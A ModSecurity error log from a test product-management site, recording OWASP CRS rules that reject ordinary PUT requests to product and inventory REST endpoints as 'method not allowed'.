[Tue Nov 15 11:53:16.004483 2022] [:error] [pid 3049614] [client 213.21.147.71:52744] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/62ed0ff562940ba0eef75c24/products/634d50c8c76dd805ae568979&quot;] [unique_id &quot;Y3Nvm7IdQ80KeDReNx8kAwAAAAo&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=634d50c8c76dd805ae568979;partnerId=undefined
[Tue Nov 15 11:53:16.004535 2022] [:error] [pid 3043587] [client 213.21.147.71:52745] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/62ed0ff562940ba0eef75c24/products/updateInventory/&quot;] [unique_id &quot;Y3Nvm2kJLBNobtdzXvEc4AAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=634d50c8c76dd805ae568979;partnerId=undefined
[Tue Nov 15 11:53:16.004689 2022] [:error] [pid 3043587] [client 213.21.147.71:52745] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/62ed0ff562940ba0eef75c24/products/updateInventory/&quot;] [unique_id &quot;Y3Nvm2kJLBNobtdzXvEc4AAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=634d50c8c76dd805ae568979;partnerId=undefined
[Tue Nov 15 11:53:16.004694 2022] [:error] [pid 3049614] [client 213.21.147.71:52744] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/62ed0ff562940ba0eef75c24/products/634d50c8c76dd805ae568979&quot;] [unique_id &quot;Y3Nvm7IdQ80KeDReNx8kAwAAAAo&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=634d50c8c76dd805ae568979;partnerId=undefined
[Tue Nov 15 11:53:29.387395 2022] [:error] [pid 3046290] [client 213.21.147.71:52750] [client 213.21.147.71] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/62ed0ff562940ba0eef75c24/products/updateInventory/&quot;] [unique_id &quot;Y3NvqYGJFIH013ReidyH1QAAAAI&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=634d50c8c76dd805ae568979;partnerId=undefined
[Tue Nov 15 11:53:29.388051 2022] [:error] [pid 3043591] [client 213.21.147.71:52749] [client 213.21.147.71] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/62ed0ff562940ba0eef75c24/products/634d50c8c76dd805ae568979&quot;] [unique_id &quot;Y3NvqWR9CLu1S7lzS2z4qwAAAAU&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=634d50c8c76dd805ae568979;partnerId=undefined
[Tue Nov 15 11:53:29.388326 2022] [:error] [pid 3046290] [client 213.21.147.71:52750] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/62ed0ff562940ba0eef75c24/products/updateInventory/&quot;] [unique_id &quot;Y3NvqYGJFIH013ReidyH1QAAAAI&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=634d50c8c76dd805ae568979;partnerId=undefined
[Tue Nov 15 11:53:29.388469 2022] [:error] [pid 3046290] [client 213.21.147.71:52750] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/62ed0ff562940ba0eef75c24/products/updateInventory/&quot;] [unique_id &quot;Y3NvqYGJFIH013ReidyH1QAAAAI&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=634d50c8c76dd805ae568979;partnerId=undefined
[Tue Nov 15 11:53:29.388869 2022] [:error] [pid 3043591] [client 213.21.147.71:52749] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/62ed0ff562940ba0eef75c24/products/634d50c8c76dd805ae568979&quot;] [unique_id &quot;Y3NvqWR9CLu1S7lzS2z4qwAAAAU&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=634d50c8c76dd805ae568979;partnerId=undefined
[Tue Nov 15 11:53:29.389003 2022] [:error] [pid 3043591] [client 213.21.147.71:52749] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/62ed0ff562940ba0eef75c24/products/634d50c8c76dd805ae568979&quot;] [unique_id &quot;Y3NvqWR9CLu1S7lzS2z4qwAAAAU&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=634d50c8c76dd805ae568979;partnerId=undefined
[Wed Nov 16 14:25:03.585632 2022] [:error] [pid 3056939] [client 79.50.106.79:52592] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3Tkr8zMYxkosRyKDIJFygAAAAs&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:25:03.588372 2022] [:error] [pid 3063132] [client 79.50.106.79:52593] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3Tkr83Il@SUkKT3nm0tNQAAAAY&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:25:03.590692 2022] [:error] [pid 3063132] [client 79.50.106.79:52593] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3Tkr83Il@SUkKT3nm0tNQAAAAY&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:25:03.590997 2022] [:error] [pid 3063132] [client 79.50.106.79:52593] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3Tkr83Il@SUkKT3nm0tNQAAAAY&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:25:03.591860 2022] [:error] [pid 3056939] [client 79.50.106.79:52592] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3Tkr8zMYxkosRyKDIJFygAAAAs&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:25:03.592050 2022] [:error] [pid 3056939] [client 79.50.106.79:52592] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3Tkr8zMYxkosRyKDIJFygAAAAs&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:25:31.697130 2022] [:error] [pid 3064782] [client 79.50.106.79:52611] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3Tky5xMteM6atk@eiFZbQAAAAI&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:25:31.698539 2022] [:error] [pid 3064782] [client 79.50.106.79:52611] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3Tky5xMteM6atk@eiFZbQAAAAI&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:25:31.698705 2022] [:error] [pid 3064782] [client 79.50.106.79:52611] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3Tky5xMteM6atk@eiFZbQAAAAI&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:25:31.705136 2022] [:error] [pid 3056938] [client 79.50.106.79:52616] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3Tky6V7ZkTFXuImD9t2hwAAAAA&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:25:31.706549 2022] [:error] [pid 3056938] [client 79.50.106.79:52616] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3Tky6V7ZkTFXuImD9t2hwAAAAA&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:25:31.706716 2022] [:error] [pid 3056938] [client 79.50.106.79:52616] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3Tky6V7ZkTFXuImD9t2hwAAAAA&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:27:37.286098 2022] [:error] [pid 3064782] [client 79.50.106.79:52888] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/632349141fbeef5e72aae4df&quot;] [unique_id &quot;Y3TlSZxMteM6atk@eiFZegAAAAI&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=632349141fbeef5e72aae4df
[Wed Nov 16 14:27:37.287433 2022] [:error] [pid 3064782] [client 79.50.106.79:52888] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/632349141fbeef5e72aae4df&quot;] [unique_id &quot;Y3TlSZxMteM6atk@eiFZegAAAAI&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=632349141fbeef5e72aae4df
[Wed Nov 16 14:27:37.287594 2022] [:error] [pid 3064782] [client 79.50.106.79:52888] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/632349141fbeef5e72aae4df&quot;] [unique_id &quot;Y3TlSZxMteM6atk@eiFZegAAAAI&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=632349141fbeef5e72aae4df
[Wed Nov 16 14:27:37.289124 2022] [:error] [pid 3064141] [client 79.50.106.79:52889] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3TlScs62Xc3wODMm1eriAAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=632349141fbeef5e72aae4df
[Wed Nov 16 14:27:37.290432 2022] [:error] [pid 3064141] [client 79.50.106.79:52889] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3TlScs62Xc3wODMm1eriAAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=632349141fbeef5e72aae4df
[Wed Nov 16 14:27:37.290582 2022] [:error] [pid 3064141] [client 79.50.106.79:52889] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3TlScs62Xc3wODMm1eriAAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=632349141fbeef5e72aae4df
